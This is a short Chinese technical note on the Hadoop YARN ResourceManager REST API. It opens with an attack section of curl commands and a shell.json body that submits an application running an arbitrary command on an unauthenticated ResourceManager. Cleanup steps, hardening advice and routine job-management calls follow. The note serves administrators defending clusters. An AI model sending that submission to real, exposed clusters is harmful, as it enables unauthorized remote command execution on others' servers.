Yarn对外接口及Yarn漏洞攻击方式

 

详细更多对外接口参考华为论坛-【开发案例】Yarn对外接口：

https://forum.huawei.com/enterprise/zh/thread-451687.html

 

====================================================

 

Yarn漏洞攻击：

curl -X POST "http://x.x.x.x:8088/ws/v1/cluster/apps/new-application"

curl-X POST -H 'Accept: application/json' -H 'Content-Type:application/json'  "http://x.x.x.x:8088/ws/v1/cluster/apps" --data-binary @shell.json

 

curl-X POST -H 'Accept: application/json' -H 'Content-Type:application/json'  "http://x.x.x.x:8088/ws/v1/cluster/apps" -d '@shell.json'

 

shell.json内容如下：

{

"am-container-spec": {  "commands": {

"command": "echo xxxxx"

}

},

"application-id":"application_xxxxxxxx",  "application-name":"test_it",

 "application-type":"YARN"

 

}

 

清理病毒

1.使用top查看进程，kill掉异常进程

2.检查/tmp和/var/tmp目录，删除异常文件  

3.检查crontab任务列表，删除异常任务

4.排查YARN日志，确认异常的application，删除处理 安全加固

 

安全加固

1.通过云主机全组配置访问策略，限制对8088等端口的访问

2.如无必要，不要将接口开放在公网，改为本地或者内网调用 

3.启用Kerberos认证功能，禁止匿名访问

 

=================================================

 

查看指定队列的所有任务：

GET http://<rm http address:port>/ws/v1/cluster/apps?queue=dev

 

查看指定任务的详细信息：

GET http://<rm http address:port>/ws/v1/cluster/apps/application_1326821518301_0005

 

监控任务：

curl 'http://<rm http address:port>/ws/v1/cluster/apps/application_1409421698529_0012/state'

 

GET http://<rm http address:port>/ws/v1/cluster/apps/application_1409421698529_0012/state

 

杀死任务：

curl -v -X PUT -d '{"state": "KILLED"}''http://<rm http address:port>/ws/v1/cluster/apps/application_1409421698529_0012'

 

PUT http://<rm http address:port>/ws/v1/cluster/apps/application_1399397633663_0003/state

 

查询集群调度器详情(包含队列详情)：

GET http://<rm http address:port>/ws/v1/cluster/scheduler

 

查询整个集群指标：

GET http://<rm http address:port>/ws/v1/cluster/metrics

 

from:https://www.jianshu.com/p/6dd2b624b756